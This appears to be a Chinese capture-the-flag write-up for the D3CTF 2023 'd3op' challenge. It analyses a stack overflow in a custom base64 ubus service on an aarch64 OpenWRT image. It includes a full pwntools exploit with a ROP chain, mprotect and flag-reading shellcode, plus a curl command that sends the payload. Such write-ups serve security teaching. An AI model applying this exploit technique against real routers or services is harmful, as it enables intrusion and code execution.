【pwn】d3ctf2023-d3op
字数 1268 2025-08-06 12:20:57

D3CTF 2023 d3op PWN题分析与利用

题目概述

这是一个名为d3op的ARM64架构PWN题目,来自D3CTF 2023比赛。题目提供了一个修改过的OpenWRT镜像,其中包含一个自定义的base64服务,漏洞存在于该服务中。

环境分析

文件系统差异

  • 题目提供了OpenWRT的img文件
  • 与官方版本(22.03.3)对比发现多了一个base64的ELF文件
  • 文件位置:/usr/libexec/rpcd/base64

交互方式

base64服务不是直接调用,而是通过ubus RPC机制调用:

本地调试命令

curl -S ubus call base64 encode '{"input":"payload"}'

远程攻击命令

curl -v -d '{"jsonrpc":"2.0", "method":"call", "id":1, "params":["00000000000000000000000000000000","base64","decode",{"input":"payload"}]}' http://localhost:9999/ubus

逆向分析

二进制信息

  • 架构:aarch64
  • 保护:仅开启NX(不可执行栈)
  • 编译方式:静态编译

主要函数

  1. main_fun:通过搜索字符串定位到的主函数
  2. sub_40655c:判断操作类型(encode/decode)
  3. decode函数:存在漏洞的关键函数

漏洞分析

漏洞位置

在decode函数中存在数组越界漏洞:

  • 通过两个if判断来检查size是否可继续解码
  • 存在v16数组越界,可以覆盖下方变量导致栈溢出

溢出利用点

函数返回时的汇编代码:

LDR x29, [sp]
LDR x30, [sp+8]
RET
  • aarch64架构下,函数返回地址存放在x30寄存器
  • 通过栈溢出可以控制x29和x30寄存器,从而劫持执行流

利用思路

执行流劫持

  1. 寻找合适的gadget控制寄存器
  2. 需要能控制x0寄存器(用于mprotect调用)
  3. 需要能再次跳转执行流

关键gadget

找到以下gadget链:

  1. 0x4494b8:控制x0-x30寄存器
  2. 0x4579a4:mprotect调用点(参数x2已设为7)

mprotect调用

  • 目标:将内存区域设置为可执行(RWX)
  • 调用位置:0x4579a0
  • 关键参数:
    • x0: 内存地址(需要0x1000对齐)
    • x1: 大小
    • x2: 7(PROT_READ|PROT_WRITE|PROT_EXEC)

Shellcode构造

功能需求

  1. 打开并读取flag文件
  2. 伪造ubus输出格式
  3. 正常退出进程

关键点

  • 由于通过ubus调用,直接输出不会被返回
  • 需要伪造符合ubus JSON格式的输出:{"output":"FLAG_CONTENT"}

shellcode结构

shellcode = shellcraft.open("/flag", 0)
shellcode += shellcraft.read(3, 0x4a22bc, 0x100)  # 读取flag到内存
shellcode += shellcraft.write(1, 0x4a22b0, 0x100)  # 输出伪造的JSON
shellcode += shellcraft.exit(1)  # 正常退出

完整利用流程

  1. 构造包含shellcode的payload
  2. 利用栈溢出覆盖返回地址
  3. 跳转到gadget链设置寄存器
  4. 调用mprotect使内存区域可执行
  5. 执行shellcode
  6. 伪造ubus输出格式并退出

EXP详解

from pwn import *
import base64
context.arch = "aarch64"

# 关键地址
mprotect = 0x4579a0
x0_x29_x30 = 0x4494b8

# shellcode构造
shellcode = shellcraft.open("/flag",0)
shellcode += shellcraft.read(3,0x4a22bc,0x100)
shellcode += shellcraft.write(1,0x00000000004A22B0,0x100)
shellcode += shellcraft.exit(1)

# payload构造
payload = asm(shellcode)
payload = payload.ljust(0x200,b"\x00")
payload += p64(0)+p64(0x4a3000)+p64(0x4a2000)  # 填充
payload += b"{\"output\": \""  # 伪造JSON开头
payload += b'A'*0x50  # 占位符
payload += b"\"}"  # JSON结尾
payload = payload.ljust(0x418, b"\x00")

# 覆盖关键变量
payload += b"\x30\x06\x00\x00" + b"\x1d\x04\x00\x00" + b"\x84\x05\x00\x00" + b"\x90\x04\x00\x00"

# 栈布局
payload += p64(0x4a2098)  # x29
payload += p64(x0_x29_x30)  # x30 (返回地址)
payload += p64(0)*4 + p64(0x4A2098) + p64(mprotect)  # gadget链
payload += p64(0x4A2298 - 0x490)  # x0 (mprotect参数)
payload += p64(0x4a2098)*3  # 填充

# base64编码
payload = base64.b64encode(payload)
print(payload)

远程攻击Payload

curl -v -d '{"jsonrpc":"2.0", "method":"call", "id":1, "params":["00000000000000000000000000000000","base64","decode",{"input":"BASE64_ENCODED_PAYLOAD"}]}' http://localhost:9999/ubus

总结

  1. 通过逆向分析发现base64服务的decode函数存在栈溢出
  2. 利用aarch64架构特性劫持x30寄存器控制执行流
  3. 精心构造gadget链调用mprotect使内存可执行
  4. 编写shellcode实现flag读取并伪造ubus输出格式
  5. 通过正常退出确保输出能被ubus正确解析返回

关键点在于理解ubus调用机制和aarch64架构下的ROP构造方法,以及如何正确处理无回显情况下的输出问题。

D3CTF 2023 d3op PWN题分析与利用 题目概述 这是一个名为d3op的ARM64架构PWN题目,来自D3CTF 2023比赛。题目提供了一个修改过的OpenWRT镜像,其中包含一个自定义的base64服务,漏洞存在于该服务中。 环境分析 文件系统差异 题目提供了OpenWRT的img文件 与官方版本(22.03.3)对比发现多了一个base64的ELF文件 文件位置: /usr/libexec/rpcd/base64 交互方式 base64服务不是直接调用,而是通过ubus RPC机制调用: 本地调试命令 : 远程攻击命令 : 逆向分析 二进制信息 架构:aarch64 保护:仅开启NX(不可执行栈) 编译方式:静态编译 主要函数 main_fun :通过搜索字符串定位到的主函数 sub_40655c :判断操作类型(encode/decode) decode 函数:存在漏洞的关键函数 漏洞分析 漏洞位置 在decode函数中存在数组越界漏洞: 通过两个if判断来检查size是否可继续解码 存在v16数组越界,可以覆盖下方变量导致栈溢出 溢出利用点 函数返回时的汇编代码: aarch64架构下,函数返回地址存放在x30寄存器 通过栈溢出可以控制x29和x30寄存器,从而劫持执行流 利用思路 执行流劫持 寻找合适的gadget控制寄存器 需要能控制x0寄存器(用于mprotect调用) 需要能再次跳转执行流 关键gadget 找到以下gadget链: 0x4494b8 :控制x0-x30寄存器 0x4579a4 :mprotect调用点(参数x2已设为7) mprotect调用 目标:将内存区域设置为可执行(RWX) 调用位置: 0x4579a0 关键参数: x0: 内存地址(需要0x1000对齐) x1: 大小 x2: 7(PROT_ READ|PROT_ WRITE|PROT_ EXEC) Shellcode构造 功能需求 打开并读取flag文件 伪造ubus输出格式 正常退出进程 关键点 由于通过ubus调用,直接输出不会被返回 需要伪造符合ubus JSON格式的输出: {"output":"FLAG_CONTENT"} shellcode结构 完整利用流程 构造包含shellcode的payload 利用栈溢出覆盖返回地址 跳转到gadget链设置寄存器 调用mprotect使内存区域可执行 执行shellcode 伪造ubus输出格式并退出 EXP详解 远程攻击Payload 总结 通过逆向分析发现base64服务的decode函数存在栈溢出 利用aarch64架构特性劫持x30寄存器控制执行流 精心构造gadget链调用mprotect使内存可执行 编写shellcode实现flag读取并伪造ubus输出格式 通过正常退出确保输出能被ubus正确解析返回 关键点在于理解ubus调用机制和aarch64架构下的ROP构造方法,以及如何正确处理无回显情况下的输出问题。